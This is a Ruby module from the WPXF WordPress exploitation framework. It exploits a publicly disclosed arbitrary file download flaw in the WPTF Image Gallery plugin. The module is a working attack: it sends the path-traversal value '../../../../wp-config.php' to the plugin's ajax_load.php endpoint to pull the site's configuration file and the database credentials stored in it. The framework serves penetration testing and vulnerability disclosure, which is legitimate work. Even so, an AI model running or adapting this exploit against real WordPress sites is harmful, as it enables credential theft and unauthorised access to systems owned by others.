# frozen_string_literal: true

class Wpxf::Auxiliary::WptfImageGalleryArbitraryFileDownload < Wpxf::Module
  include Wpxf::WordPress::FileDownload

  def initialize
    super

    update_info(
      name: 'WPTF Image Gallery Arbitrary File Download',
      author: [
        'Larry W. Cashdollar', # Disclosure
        'rastating'            # WPXF module
      ],
      references: [
        ['WPVDB', '8106'],
        ['URL', 'http://www.vapid.dhs.org/advisory.php?v=148'],
        ['EDB', '37751']
      ],
      date: 'Jun 17 2015'
    )
  end

  def check
    check_plugin_version_from_readme('wptf-image-gallery')
  end

  def working_directory
    'wp-content/plugins/wptf-image-gallery/lib-mbox/'
  end

  def default_remote_file_path
    '../../../../wp-config.php'
  end

  def download_request_params
    { 'url' => remote_file }
  end

  def downloader_url
    normalize_uri(wordpress_url_plugins, 'wptf-image-gallery', 'lib-mbox', 'ajax_load.php')
  end
end
